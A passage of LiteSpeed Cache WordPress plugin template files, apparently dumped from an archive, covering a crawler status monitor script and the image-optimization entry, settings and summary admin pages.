				<img id="litespeed-shell-icon" src="<?php echo esc_url( LSWCP_PLUGIN_URL . 'assets/img/Litespeed.icon.svg' ); ?>" alt="LiteSpeed Icon" />
			</div>
		</div>
		<ul class="litespeed-shell-body">
			<li><?php esc_html_e( 'Start watching...', 'litespeed-cache' ); ?></li>
			<li id="litespeed-loading-dot"></li>
		</ul>
	</div>
<?php else : ?>
	<p><?php esc_html_e( 'No crawler meta file generated yet', 'litespeed-cache' ); ?></p>
<?php endif; ?>

<script>
var _litespeed_meta;
var _litespeed_shell_interval = 3; // seconds
var _litespeed_shell_interval_range = [3, 60];
var _litespeed_shell_handle;
var _litespeed_shell_display_handle;
var _litespeed_crawler_url;
var _litespeed_dots;


(function ($) {
	'use strict';
	jQuery(document).ready(function () {
		$('#litespeed-crawl-url-btn').on('click', function () {
			if (!$(this).data('url')) {
				return false;
			}
			$('.litespeed-shell').removeClass('litespeed-hide');
			_litespeed_dots = window.setInterval(_litespeed_loading_dots, 300);
			_litespeed_crawler_url = $(this).data('url');
			litespeed_fetch_meta();
			$(this).hide();
		});

		$('#litespeed_manual_trigger').on('click', function (event) {
			$('#litespeed-loading-dot').before('<li>Manually Started</li>');
			_litespeed_shell_interval = _litespeed_shell_interval_range[0];
			litespeed_fetch_meta();
		});

		/**
		 * Freeze or melt a specific crawler
		 * @since  4.3
		 */
		if ($('[data-crawler-list] [data-litespeed_toggle_id]').length > 0) {
			$('[data-crawler-list] [data-litespeed_toggle_id]').on('click', function (e) {
				var crawler_id = $(this).attr('data-litespeed_toggle_id');
				var crawler_id = Number(crawler_id.split('-').pop());
				var that = this;
				$.ajax({
					url: '<?php echo function_exists('get_rest_url') ? get_rest_url(null, 'litespeed/v1/toggle_crawler_state') : '/'; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>',
					dataType: 'json',
					method: 'POST',
					cache: false,
					data: { crawler_id: crawler_id },
					beforeSend: function (xhr) {
						xhr.setRequestHeader('X-WP-Nonce', '<?php echo esc_js( wp_create_nonce('wp_rest') ); ?>');
					},
					success: function (data) {
						$(that)
							.toggleClass('litespeed-toggle-btn-default litespeed-toggleoff', data == 0)
							.toggleClass('litespeed-toggle-btn-primary', data == 1);
						console.log('litespeed-crawler-ajax: change Activate option');
					},
					error: function (xhr, error) {
						console.log(xhr);
						console.log(error);
						console.log('litespeed-crawler-ajax: option failed to save due to some error');
					},
				});
			});
		}

	});
})(jQuery);


function litespeed_fetch_meta() {
	window.clearTimeout(_litespeed_shell_handle);
	jQuery('#litespeed-loading-dot').text('');
	jQuery.ajaxSetup({ cache: false });
	jQuery.getJSON(_litespeed_crawler_url, function (meta) {
		litespeed_pulse();
		var changed = false;
		if (meta && 'list_size' in meta) {
			new_meta =
				meta.list_size + ' ' + meta.file_time + ' ' + meta.curr_crawler + ' ' + meta.last_pos + ' ' + meta.last_count + ' ' + meta.last_start_time + ' ' + meta.is_running;
			if (new_meta != _litespeed_meta) {
				_litespeed_meta = new_meta;
				changed = true;
				string = _litespeed_build_meta(meta);
				jQuery('#litespeed-loading-dot').before(string);
				// remove first log elements
				log_length = jQuery('.litespeed-shell-body li').length;
				if (log_length > 50) {
					jQuery('.litespeed-shell-body li:lt(' + (log_length - 50) + ')').remove();
				}
				// scroll to end
				jQuery('.litespeed-shell-body')
					.stop()
					.animate(
						{
							scrollTop: jQuery('.litespeed-shell-body')[0].scrollHeight,
						},
						800,
					);
			}

			// dynamic adjust the interval length
			_litespeed_adjust_interval(changed);
		}
		// display interval counting
		litespeed_display_interval_reset();
		_litespeed_shell_handle = window.setTimeout(_litespeed_dynamic_timeout, _litespeed_shell_interval * 1000);
	});
}

function _litespeed_loading_dots() {
	jQuery('#litespeed-loading-dot').append('.');
}

/**
 * Dynamic adjust interval
 */
function _litespeed_adjust_interval(changed) {
	if (changed) {
		_litespeed_shell_interval -= Math.ceil(_litespeed_shell_interval / 2);
	} else {
		_litespeed_shell_interval++;
	}

	if (_litespeed_shell_interval < _litespeed_shell_interval_range[0]) {
		_litespeed_shell_interval = _litespeed_shell_interval_range[0];
	}
	if (_litespeed_shell_interval > _litespeed_shell_interval_range[1]) {
		_litespeed_shell_interval = _litespeed_shell_interval_range[1];
	}
}

function _litespeed_build_meta(meta) {
	var string =
		'<li>' +
		litespeed_date(meta.last_update_time) +
		'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Size: ' +
		meta.list_size +
		'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Crawler: #' +
		(meta.curr_crawler * 1 + 1) +
		'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Position: ' +
		(meta.last_pos * 1 + 1) +
		'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Threads: ' +
		meta.last_count +
		'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Status: ';
	if (meta.is_running) {
		string += 'crawling, ' + meta.last_status;
	} else {
		string += meta.end_reason ? meta.end_reason : '-';
	}
	string += '</li>';
	return string;
}

function _litespeed_dynamic_timeout() {
	litespeed_fetch_meta();
}

function litespeed_display_interval_reset() {
	window.clearInterval(_litespeed_shell_display_handle);
	jQuery('.litespeed-shell-header-bar').data('num', _litespeed_shell_interval);
	_litespeed_shell_display_handle = window.setInterval(_litespeed_display_interval, 1000);

	jQuery('.litespeed-shell-header-bar')
		.stop()
		.animate({ width: '100%' }, 500, function () {
			jQuery('.litespeed-shell-header-bar').css('width', '0%');
		});
}

function _litespeed_display_interval() {
	var num = jQuery('.litespeed-shell-header-bar').data('num');
	jQuery('.litespeed-shell-header-bar')
		.stop()
		.animate({ width: litespeed_get_percent(num, _litespeed_shell_interval) + '%' }, 1000);
	if (num > 0) num--;
	if (num < 0) num = 0;
	jQuery('.litespeed-shell-header-bar').data('num', num);
}

function litespeed_get_percent(num1, num2) {
	num1 = num1 * 1;
	num2 = num2 * 1;
	num = (num2 - num1) / num2;
	return num * 100;
}

function litespeed_date(timestamp) {
	var a = new Date(timestamp * 1000);
	var months = ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec'];
	var year = a.getFullYear();
	var month = months[a.getMonth()];
	var date = litespeed_add_zero(a.getDate());
	var hour = litespeed_add_zero(a.getHours());
	var min = litespeed_add_zero(a.getMinutes());
	var sec = litespeed_add_zero(a.getSeconds());
	var time = date + ' ' + month + ' ' + year + ' ' + hour + ':' + min + ':' + sec;
	return time;
}

function litespeed_add_zero(i) {
	if (i < 10) {
		i = '0' + i;
	}
	return i;
}

function litespeed_pulse() {
	jQuery('#litespeed-shell-icon').animate(
		{
			width: 27,
			height: 34,
			opacity: 1,
		},
		700,
		function () {
			jQuery('#litespeed-shell-icon').animate(
				{
					width: 23,
					height: 29,
					opacity: 0.5,
				},
				700,
			);
		},
	);
}

</script>litespeed-wp-plugin/7.5.0.1/litespeed-cache/tpl/img_optm/entry.tpl.php000064400000002427151031165260021356 0ustar00<?php
/**
 * LiteSpeed Cache Image Optimization
 *
 * Manages the image optimization interface for LiteSpeed Cache.
 *
 * @package LiteSpeed
 * @since 1.0.0
 */

namespace LiteSpeed;

defined( 'WPINC' ) || exit;

$menu_list = array(
    'summary'  => esc_html__( 'Image Optimization Summary', 'litespeed-cache' ),
    'settings' => esc_html__( 'Image Optimization Settings', 'litespeed-cache' ),
);

if ( is_network_admin() ) {
    $menu_list = array(
        'network_settings' => esc_html__( 'Image Optimization Settings', 'litespeed-cache' ),
    );
}

?>

<div class="wrap">
    <h1 class="litespeed-h1">
        <?php esc_html_e( 'LiteSpeed Cache Image Optimization', 'litespeed-cache' ); ?>
    </h1>
    <span class="litespeed-desc">
        v<?php echo esc_html( Core::VER ); ?>
    </span>
    <hr class="wp-header-end">
</div>

<div class="litespeed-wrap">
    <h2 class="litespeed-header nav-tab-wrapper">
        <?php GUI::display_tab_list( $menu_list ); ?>
    </h2>

    <div class="litespeed-body">
        <?php
        foreach ( $menu_list as $menu_key => $val ) {
            echo '<div data-litespeed-layout="' . esc_attr( $menu_key ) . '">';
            require LSCWP_DIR . 'tpl/img_optm/' . $menu_key . '.tpl.php';
            echo '</div>';
        }
        ?>
    </div>

</div>litespeed-wp-plugin/7.5.0.1/litespeed-cache/tpl/img_optm/settings.tpl.php000064400000012074151031165260022054 0ustar00<?php
/**
 * LiteSpeed Cache Image Optimization Settings
 *
 * Manages image optimization settings for LiteSpeed Cache.
 *
 * @package LiteSpeed
 * @since 1.0.0
 */

namespace LiteSpeed;

defined( 'WPINC' ) || exit;

$this->form_action();
?>

<h3 class="litespeed-title-short">
	<?php esc_html_e( 'Image Optimization Settings', 'litespeed-cache' ); ?>
	<?php Doc::learn_more( 'https://docs.litespeedtech.com/lscache/lscwp/imageopt/#image-optimization-settings-tab' ); ?>
</h3>

<table class="wp-list-table striped litespeed-table">
	<tbody>

		<tr>
			<th>
				<?php $option_id = Base::O_IMG_OPTM_AUTO; ?>
				<?php $this->title( $option_id ); ?>
			</th>
			<td>
				<?php $this->build_switch( $option_id ); ?>
				<div class="litespeed-desc">
					<?php esc_html_e( 'Automatically request optimization via cron job.', 'litespeed-cache' ); ?>
				</div>
			</td>
		</tr>

		<tr>
			<th>
				<?php $option_id = Base::O_IMG_OPTM_ORI; ?>
				<?php $this->title( $option_id ); ?>
			</th>
			<td>
				<?php $this->build_switch( $option_id ); ?>
				<div class="litespeed-desc">
					<?php esc_html_e( 'Optimize images and save backups of the originals in the same folder.', 'litespeed-cache' ); ?>
				</div>
			</td>
		</tr>

		<tr>
			<th>
				<?php $option_id = Base::O_IMG_OPTM_RM_BKUP; ?>
				<?php $this->title( $option_id ); ?>
			</th>
			<td>
				<?php $this->build_switch( $option_id ); ?>
				<div class="litespeed-desc">
					<?php esc_html_e( 'Automatically remove the original image backups after fetching optimized images.', 'litespeed-cache' ); ?>

					<br />
					<font class="litespeed-danger">
						🚨
						<?php esc_html_e( 'This is irreversible.', 'litespeed-cache' ); ?>
						<?php esc_html_e( 'You will be unable to Revert Optimization once the backups are deleted!', 'litespeed-cache' ); ?>
					</font>
				</div>
			</td>
		</tr>

		<tr>
			<th>
				<?php $option_id = Base::O_IMG_OPTM_LOSSLESS; ?>
				<?php $this->title( $option_id ); ?>
			</th>
			<td>
				<?php $this->build_switch( $option_id ); ?>
				<div class="litespeed-desc">
					<?php esc_html_e( 'Optimize images using lossless compression.', 'litespeed-cache' ); ?>
					<?php esc_html_e( 'This can improve quality but may result in larger images than lossy compression will.', 'litespeed-cache' ); ?>
				</div>
			</td>
		</tr>

		<tr>
			<th>
				<?php
					$option_id    = Base::O_IMG_OPTM_SIZES_SKIPPED;
					$image_sizes  = Utility::prepare_image_sizes_array(true);
					$option_value = $this->conf( $option_id );
				?>
				<?php $this->title( $option_id ); ?>
			</th>
			<td>
				<?php if ( count($image_sizes) > 0 ) : ?>
					<?php
						foreach ( $image_sizes as $current_size ) {
							$checked = false === array_search( $current_size['file_size'], $option_value, true );
							$this->build_checkbox( $option_id . '[]', esc_html( $current_size['label'] ), $checked, $current_size['file_size'] );
						}
					?>
				<?php else : ?>
					<p><?php esc_html_e( 'No sizes found.', 'litespeed-cache' ); ?></p>
				<?php endif; ?>
				<div class="litespeed-desc">
					<?php esc_html_e( 'Choose which image sizes to optimize.', 'litespeed-cache' ); ?>
				</div>
			</td>
		</tr>

		<tr>
			<th>
				<?php $option_id = Base::O_IMG_OPTM_EXIF; ?>
				<?php $this->title( $option_id ); ?>
			</th>
			<td>
				<?php $this->build_switch( $option_id ); ?>
				<div class="litespeed-desc">
					<?php esc_html_e( 'Preserve EXIF data (copyright, GPS, comments, keywords, etc) when optimizing.', 'litespeed-cache' ); ?>
					<?php esc_html_e( 'This will increase the size of optimized files.', 'litespeed-cache' ); ?>
				</div>
			</td>
		</tr>

		<?php
		if ( ! is_multisite() ) :
			// webp
			require LSCWP_DIR . 'tpl/img_optm/settings.media_webp.tpl.php';
		endif;
		?>

		<tr>
			<th>
				<?php $option_id = Base::O_IMG_OPTM_WEBP_ATTR; ?>
				<?php $this->title( $option_id ); ?>
			</th>
			<td>
				<div class="litespeed-textarea-recommended">
					<div>
						<?php $this->build_textarea( $option_id, 40 ); ?>
					</div>
					<div>
						<?php $this->recommended( $option_id ); ?>
					</div>
				</div>

				<div class="litespeed-desc">
					<?php esc_html_e( 'Specify which element attributes will be replaced with WebP/AVIF.', 'litespeed-cache' ); ?>
					<?php esc_html_e( 'Only attributes listed here will be replaced.', 'litespeed-cache' ); ?>
					<br /><?php printf( esc_html__( 'Use the format %1$s or %2$s (element is optional).', 'litespeed-cache' ), '<code>element.attribute</code>', '<code>.attribute</code>' ); ?>
					<?php Doc::one_per_line(); ?>
				</div>
			</td>
		</tr>

		<tr>
			<th>
				<?php $option_id = Base::O_IMG_OPTM_WEBP_REPLACE_SRCSET; ?>
				<?php $this->title( $option_id ); ?>
			</th>
			<td>
				<?php $this->build_switch( $option_id ); ?>
				<div class="litespeed-desc">
					<?php printf( esc_html__( 'Enable replacement of WebP/AVIF in %s elements that were generated outside of WordPress logic.', 'litespeed-cache' ), '<code>srcset</code>' ); ?>
					<?php Doc::learn_more( 'https://docs.litespeedtech.com/lscache/lscwp/imageopt/#webp-for-extra-srcset' ); ?>
				</div>
			</td>
		</tr>

	</tbody>
</table>

<?php
$this->form_end();
litespeed-wp-plugin/7.5.0.1/litespeed-cache/tpl/img_optm/summary.tpl.php000064400000045771151031165260021723 0ustar00<?php
/**
 * LiteSpeed Cache Image Optimization Summary
 *
 * Manages the image optimization summary interface for LiteSpeed Cache.
 *
 * @package LiteSpeed
 * @since 1.0.0
 */

namespace LiteSpeed;

defined( 'WPINC' ) || exit;

$closest_server = Cloud::get_summary( 'server.' . Cloud::SVC_IMG_OPTM );
$usage_cloud    = Cloud::get_summary( 'usage.' . Cloud::SVC_IMG_OPTM );
$allowance      = Cloud::cls()->allowance( Cloud::SVC_IMG_OPTM );

$img_optm = Img_Optm::cls();

$wet_limit = $img_optm->wet_limit();
$img_count = $img_optm->img_count();

$optm_summary = Img_Optm::get_summary();

list($last_run, $is_running) = $img_optm->cron_running( false );
$finished_percentage         = 0;
if ( $img_count['groups_all'] ) {
	$finished_percentage = 100 - floor( $img_count['groups_new'] * 100 / $img_count['groups_all'] );
}
if ( 100 === $finished_percentage && $img_count['groups_new'] ) {
	$finished_percentage = 99;
}

$unfinished_num = 0;
if ( ! empty( $img_count[ 'img.' . Img_Optm::STATUS_REQUESTED ] ) ) {
	$unfinished_num += $img_count[ 'img.' . Img_Optm::STATUS_REQUESTED ];
}
if ( ! empty( $img_count[ 'img.' . Img_Optm::STATUS_NOTIFIED ] ) ) {
	$unfinished_num += $img_count[ 'img.' . Img_Optm::STATUS_NOTIFIED ];
}
if ( ! empty( $img_count[ 'img.' . Img_Optm::STATUS_ERR_FETCH ] ) ) {
	$unfinished_num += $img_count[ 'img.' . Img_Optm::STATUS_ERR_FETCH ];
}

$imgoptm_service_hot = $this->cls( 'Cloud' )->service_hot( Cloud::SVC_IMG_OPTM . '-' . Img_Optm::CLOUD_ACTION_NEW_REQ );
?>
<div class="litespeed-flex-container litespeed-column-with-boxes">
	<div class="litespeed-width-7-10 litespeed-column-left litespeed-image-optim-summary-wrapper">
		<div class="litespeed-image-optim-summary">

			<h3>
				<?php if ( $closest_server ) : ?>
					<a href="<?php echo esc_url( Utility::build_url( Router::ACTION_CLOUD, Cloud::TYPE_REDETECT_CLOUD, false, null, array( 'svc' => Cloud::SVC_IMG_OPTM ) ) ); ?>" class="litespeed-info-button litespeed-redetect" data-balloon-pos="right" data-balloon-break aria-label="<?php printf( esc_html__( 'Current closest Cloud server is %s. Click to redetect.', 'litespeed-cache' ), esc_html( $closest_server ) ); ?>" data-litespeed-cfm="<?php esc_html_e( 'Are you sure you want to redetect the closest cloud server for this service?', 'litespeed-cache' ); ?>"><span class="litespeed-quic-icon"></span> <?php esc_html_e( 'Redetect', 'litespeed-cache' ); ?></a>
				<?php else : ?>
					<span class="litespeed-quic-icon"></span> <?php esc_html_e( 'Redetect', 'litespeed-cache' ); ?>
				<?php endif; ?>
				<?php esc_html_e( 'Optimize images with our QUIC.cloud server', 'litespeed-cache' ); ?>
				<a href="https://docs.litespeedtech.com/lscache/lscwp/imageopt/#image-optimization-summary-tab" target="_blank" class="litespeed-right litespeed-learn-more"><?php esc_html_e( 'Learn More', 'litespeed-cache' ); ?></a>
			</h3>

			<p>
				<?php printf( esc_html__( 'You can request a maximum of %s images at once.', 'litespeed-cache' ), '<strong>' . intval( $allowance ) . '</strong>' ); ?>
			</p>

			<?php if ( $wet_limit ) : ?>
				<p class="litespeed-desc">
					<?php esc_html_e( 'To make sure our server can communicate with your server without any issues and everything works fine, for the few first requests the number of image groups allowed in a single request is limited.', 'litespeed-cache' ); ?>
					<?php echo esc_html__( 'Current limit is', 'litespeed-cache' ) . ': <strong>' . esc_html( $wet_limit ) . '</strong>'; ?>
				</p>
			<?php endif; ?>

			<div class="litespeed-img-optim-actions">
				<?php if ( $imgoptm_service_hot ) : ?>
					<button class="button button-secondary" disabled>
						<span class="dashicons dashicons-images-alt2"></span> <?php esc_html_e( 'Send Optimization Request', 'litespeed-cache' ); ?>
						- <?php printf( esc_html__( 'Available after %d second(s)', 'litespeed-cache' ), esc_html( $imgoptm_service_hot ) ); ?>
					</button>
				<?php else : ?>
					<a data-litespeed-onlyonce class="button button-primary"
					<?php
					if ( ! empty( $img_count['groups_new'] ) || ! empty( $img_count[ 'group.' . Img_Optm::STATUS_RAW ] ) ) :
						?>
						href="<?php echo esc_url( Utility::build_url( Router::ACTION_IMG_OPTM, Img_Optm::TYPE_NEW_REQ ) ); ?>"
						<?php
					else :
						?>
						href="javascript:;" disabled <?php endif; ?>>
						<span class="dashicons dashicons-images-alt2"></span> <?php esc_html_e( 'Send Optimization Request', 'litespeed-cache' ); ?>
					</a>
				<?php endif; ?>

				<a data-litespeed-onlyonce class="button button-secondary" data-balloon-length="large" data-balloon-pos="right" aria-label="<?php esc_html_e( 'Only press the button if the pull cron job is disabled.', 'litespeed-cache' ); ?> <?php esc_html_e( 'Images will be pulled automatically if the cron job is running.', 'litespeed-cache' ); ?>"
					<?php
					if ( ! empty( $img_count[ 'img.' . Img_Optm::STATUS_NOTIFIED ] ) && ! $is_running ) :
						?>
						href="<?php echo esc_url( Utility::build_url( Router::ACTION_IMG_OPTM, Img_Optm::TYPE_PULL ) ); ?>"
						<?php
					else :
						?>
						href="javascript:;" disabled <?php endif; ?>>
					<?php esc_html_e( 'Pull Images', 'litespeed-cache' ); ?>
				</a>
			</div>

			<div>
				<h3 class="litespeed-title-section">
					<?php esc_html_e( 'Optimization Status', 'litespeed-cache' ); ?>
				</h3>

				<div class="litespeed-light-code">

					<?php if ( ! empty( $img_count[ 'group.' . Img_Optm::STATUS_NEW ] ) ) : ?>
						<p class="litespeed-success">
							<?php echo esc_html( Lang::img_status( Img_Optm::STATUS_NEW ) ); ?>:
							<code>
								<?php echo esc_html( Admin_Display::print_plural( $img_count['group_new'] ) ); ?>
							</code>
						</p>
					<?php endif; ?>

					<?php if ( ! empty( $img_count[ 'group.' . Img_Optm::STATUS_RAW ] ) ) : ?>
						<p class="litespeed-success">
							<?php echo esc_html( Lang::img_status( Img_Optm::STATUS_RAW ) ); ?>:
							<code>
								<?php echo esc_html( Admin_Display::print_plural( $img_count[ 'group.' . Img_Optm::STATUS_RAW ] ) ); ?>
								(<?php echo esc_html( Admin_Display::print_plural( $img_count[ 'img.' . Img_Optm::STATUS_RAW ], 'image' ) ); ?>)
							</code>
						</p>
					<?php endif; ?>

					<?php if ( ! empty( $img_count[ 'group.' . Img_Optm::STATUS_REQUESTED ] ) ) : ?>
						<p class="litespeed-success">
							<?php echo esc_html( Lang::img_status( Img_Optm::STATUS_REQUESTED ) ); ?>:
							<code>
								<?php echo esc_html( Admin_Display::print_plural( $img_count[ 'group.' . Img_Optm::STATUS_REQUESTED ] ) ); ?>
								(<?php echo esc_html( Admin_Display::print_plural( $img_count[ 'img.' . Img_Optm::STATUS_REQUESTED ], 'image' ) ); ?>)
							</code>
						</p>
						<p class="litespeed-desc">
							<?php esc_html_e( 'After the QUIC.cloud Image Optimization server finishes optimization, it will notify your site to pull the optimized images.', 'litespeed-cache' ); ?>
							<?php esc_html_e( 'This process is automatic.', 'litespeed-cache' ); ?>
						</p>
					<?php endif; ?>

					<?php if ( ! empty( $img_count[ 'group.' . Img_Optm::STATUS_NOTIFIED ] ) ) : ?>
						<p class="litespeed-success">
							<?php echo esc_html( Lang::img_status( Img_Optm::STATUS_NOTIFIED ) ); ?>:
							<code>
								<?php echo esc_html( Admin_Display::print_plural( $img_count[ 'group.' . Img_Optm::STATUS_NOTIFIED ] ) ); ?>
								(<?php echo esc_html( Admin_Display::print_plural( $img_count[ 'img.' . Img_Optm::STATUS_NOTIFIED ], 'image' ) ); ?>)
							</code>
						</p>
						<?php if ( $last_run ) : ?>
							<p class="litespeed-desc">
								<?php printf( esc_html__( 'Last pull initiated by cron at %s.', 'litespeed-cache' ), '<code>' . esc_html( Utility::readable_time( $last_run ) ) . '</code>' ); ?>
							</p>
						<?php endif; ?>
					<?php endif; ?>

					<?php if ( ! empty( $img_count[ 'group.' . Img_Optm::STATUS_PULLED ] ) ) : ?>
						<p class="litespeed-success">
							<?php echo esc_html( Lang::img_status( Img_Optm::STATUS_PULLED ) ); ?>:
							<code>
								<?php echo esc_html( Admin_Display::print_plural( $img_count[ 'group.' . Img_Optm::STATUS_PULLED ] ) ); ?>
								(<?php echo esc_html( Admin_Display::print_plural( $img_count[ 'img.' . Img_Optm::STATUS_PULLED ], 'image' ) ); ?>)
							</code>
						</p>
					<?php endif; ?>

					<p>
					<?php
					printf(
						'<a href="%1$s" class="button button-secondary litespeed-btn-warning" data-balloon-pos="right" aria-label="%2$s" %3$s><span class="dashicons dashicons-editor-removeformatting"></span> %4$s</a>',
						( $unfinished_num ? esc_url( Utility::build_url( Router::ACTION_IMG_OPTM, Img_Optm::TYPE_CLEAN ) ) : 'javascript:;' ),
						esc_html__( 'Remove all previous unfinished image optimization requests.', 'litespeed-cache' ),
						( $unfinished_num ? '' : ' disabled' ),
						esc_html__( 'Clean Up Unfinished Data', 'litespeed-cache' ) . ( $unfinished_num ? ': ' . esc_html( Admin_Display::print_plural( $unfinished_num, 'image' ) ) : '' )
					);
					?>
					</p>

					<h3 class="litespeed-title-section">
						<?php esc_html_e( 'Storage Optimization', 'litespeed-cache' ); ?>
					</h3>

					<p>
						<?php esc_html_e( 'A backup of each image is saved before it is optimized.', 'litespeed-cache' ); ?>
					</p>

					<?php if ( ! empty( $optm_summary['bk_summary'] ) ) : ?>
						<div>
							<p>
								<?php echo esc_html__( 'Last calculated', 'litespeed-cache' ) . ': <code>' . esc_html( Utility::readable_time( $optm_summary['bk_summary']['date'] ) ) . '</code>'; ?>
							</p>
							<?php if ( $optm_summary['bk_summary']['count'] ) : ?>
								<p>
									<?php echo esc_html__( 'Files', 'litespeed-cache' ) . ': <code>' . intval( $optm_summary['bk_summary']['count'] ) . '</code>'; ?>
								</p>
								<p>
									<?php echo esc_html__( 'Total', 'litespeed-cache' ) . ': <code>' . esc_html( Utility::real_size( $optm_summary['bk_summary']['sum'] ) ) . '</code>'; ?>
								</p>
							<?php endif; ?>
						</div>
					<?php endif; ?>

					<div>
						<a class="button button-secondary" data-balloon-pos="up" aria-label="<?php esc_html_e( 'Calculate Original Image Storage', 'litespeed-cache' ); ?>"
							<?php
							if ( $finished_percentage > 0 ) :
								?>
							href="<?php echo esc_url( Utility::build_url( Router::ACTION_IMG_OPTM, Img_Optm::TYPE_CALC_BKUP ) ); ?>"
							<?php
							else :
								?>
							href="javascript:;" disabled <?php endif; ?>>
							<span class="dashicons dashicons-update"></span> <?php esc_html_e( 'Calculate Backups Disk Space', 'litespeed-cache' ); ?>
						</a>
					</div>

				</div>

				<div>
					<h4><?php esc_html_e( 'Image Thumbnail Group Sizes', 'litespeed-cache' ); ?></h4>
					<div class="litespeed-desc litespeed-left20">
						<?php
						foreach ( Media::cls()->get_image_sizes() as $size_title => $size ) {
							printf(
								'<div>%1$s ( %2$s x %3$s )</div>',
								esc_html( $size_title ),
								$size['width'] ? esc_html( $size['width'] ) . 'px' : '*',
								$size['height'] ? esc_html( $size['height'] ) . 'px' : '*'
							);
						}
						?>
					</div>
				</div>

				<hr class="litespeed-hr-with-space">
				<div>
					<h4><?php esc_html_e( 'Delete all backups of the original images', 'litespeed-cache' ); ?></h4>
					<div class="notice notice-error litespeed-callout-bg inline">
						<p>
							🚨 <?php esc_html_e( 'This is irreversible.', 'litespeed-cache' ); ?>
							<?php esc_html_e( 'You will be unable to Revert Optimization once the backups are deleted!', 'litespeed-cache' ); ?>
						</p>
					</div>
				</div>

				<?php if ( ! empty( $optm_summary['rmbk_summary'] ) ) : ?>
					<div>
						<p>
							<?php echo esc_html__( 'Last ran', 'litespeed-cache' ) . ': <code>' . esc_html( Utility::readable_time( $optm_summary['rmbk_summary']['date'] ) ) . '</code>'; ?>
						</p>
						<p>
							<?php echo esc_html__( 'Files', 'litespeed-cache' ) . ': <code>' . esc_html( $optm_summary['rmbk_summary']['count'] ) . '</code>'; ?>
						</p>
						<p>
							<?php echo esc_html__( 'Saved', 'litespeed-cache' ) . ': <code>' . esc_html( Utility::real_size( $optm_summary['rmbk_summary']['sum'] ) ) . '</code>'; ?>
						</p>
					</div>
				<?php endif; ?>
				<div class="litespeed-image-optim-summary-footer">
					<a href="<?php echo esc_url( Utility::build_url( Router::ACTION_IMG_OPTM, Img_Optm::TYPE_RM_BKUP ) ); ?>" data-litespeed-cfm="<?php esc_html_e( 'Are you sure you want to remove all image backups?', 'litespeed-cache' ); ?>" class="litespeed-link-with-icon litespeed-danger">
						<span class="dashicons dashicons-trash"></span><?php esc_html_e( 'Remove Original Image Backups', 'litespeed-cache' ); ?>
					</a>
				</div>
			</div>
		</div>
	</div>

	<div class="litespeed-width-3-10 litespeed-column-right">
		<div class="postbox litespeed-postbox litespeed-postbox-imgopt-info">
			<div class="inside">
				<h3 class="litespeed-title">
					<?php esc_html_e( 'Image Information', 'litespeed-cache' ); ?>
				</h3>

				<div class="litespeed-flex-container">
					<div class="litespeed-icon-vertical-middle">
						<?php echo wp_kses( GUI::pie( $finished_percentage, 70, true ), GUI::allowed_svg_tags() ); ?>
					</div>
					<div>
						<p>
							<?php esc_html_e( 'Image groups total', 'litespeed-cache' ); ?>:
							<?php if ( $img_count['groups_new'] ) : ?>
								<code><?php echo esc_html( Admin_Display::print_plural( $img_count['groups_new'], 'group' ) ); ?></code>
							<?php else : ?>
								<font class="litespeed-congratulate"><?php esc_html_e( 'Congratulations, all gathered!', 'litespeed-cache' ); ?></font>
							<?php endif; ?>
							<a href="https://docs.litespeedtech.com/lscache/lscwp/imageopt/#what-is-an-image-group" target="_blank" class="litespeed-desc litespeed-help-btn-icon" data-balloon-pos="up" aria-label="<?php esc_html_e( 'What is a group?', 'litespeed-cache' ); ?>">
								<span class="dashicons dashicons-editor-help"></span>
								<span class="screen-reader-text"><?php esc_html_e( 'What is an image group?', 'litespeed-cache' ); ?></span>
							</a>
						</p>
						<p>
							<?php esc_html_e( 'Current image post id position', 'litespeed-cache' ); ?>: <?php echo ! empty( $optm_summary['next_post_id'] ) ? esc_html( $optm_summary['next_post_id'] ) : '-'; ?><br>
							<?php esc_html_e( 'Maximum image post id', 'litespeed-cache' ); ?>: <?php echo esc_html( $img_count['max_id'] ); ?>
						</p>
					</div>
				</div>
			</div>
			<div class="inside litespeed-postbox-footer litespeed-postbox-footer--compact" style="display: none;">
				<a href="<?php echo esc_url( Utility::build_url( Router::ACTION_IMG_OPTM, Img_Optm::TYPE_RESCAN ) ); ?>" class="" data-balloon-pos="up" data-balloon-length="large" aria-label="<?php esc_html_e( 'Scan for any new unoptimized image thumbnail sizes and resend necessary image optimization requests.', 'litespeed-cache' ); ?>">
					<?php esc_html_e( 'Rescan New Thumbnails', 'litespeed-cache' ); ?>
				</a>
			</div>
		</div>

		<div class="postbox litespeed-postbox">
			<div class="inside">
				<h3 class="litespeed-title">
					<?php esc_html_e( 'Optimization Summary', 'litespeed-cache' ); ?>
				</h3>
				<p>
					<?php esc_html_e( 'Total Reduction', 'litespeed-cache' ); ?>: <code><?php echo isset( $optm_summary['reduced'] ) ? esc_html( Utility::real_size( $optm_summary['reduced'] ) ) : '-'; ?></code>
				</p>
				<p>
					<?php esc_html_e( 'Images Pulled', 'litespeed-cache' ); ?>: <code><?php echo isset( $optm_summary['img_taken'] ) ? esc_html( $optm_summary['img_taken'] ) : '-'; ?></code>
				</p>
				<p>
					<?php esc_html_e( 'Last Request', 'litespeed-cache' ); ?>: <code><?php echo isset( $optm_summary['last_requested'] ) ? esc_html( Utility::readable_time( $optm_summary['last_requested'] ) ) : '-'; ?></code>
				</p>
				<p>
					<?php esc_html_e( 'Last Pulled', 'litespeed-cache' ); ?>: <code><?php echo isset( $optm_summary['last_pulled'] ) ? esc_html( Utility::readable_time( $optm_summary['last_pulled'] ) ) : '-'; ?></code>
					<?php
					if ( isset( $optm_summary['last_pulled_by_cron'] ) && $optm_summary['last_pulled_by_cron'] ) {
						echo '(Cron)';
					}
					?>
				</p>
			</div>
			<div class="inside litespeed-postbox-footer litespeed-postbox-footer--compact litespeed-desc">
				<?php
				printf(
					/* translators: %s: Link tags */
					esc_html__( 'Results can be checked in %sMedia Library%s.', 'litespeed-cache' ),
					'<a href="upload.php?mode=list">',
					'</a>'
				);
				?>
			</div>
		</div>

		<div class="postbox litespeed-postbox">
			<div class="inside">
				<h3 class="litespeed-title"><?php esc_html_e( 'Optimization Tools', 'litespeed-cache' ); ?></h3>

				<p>
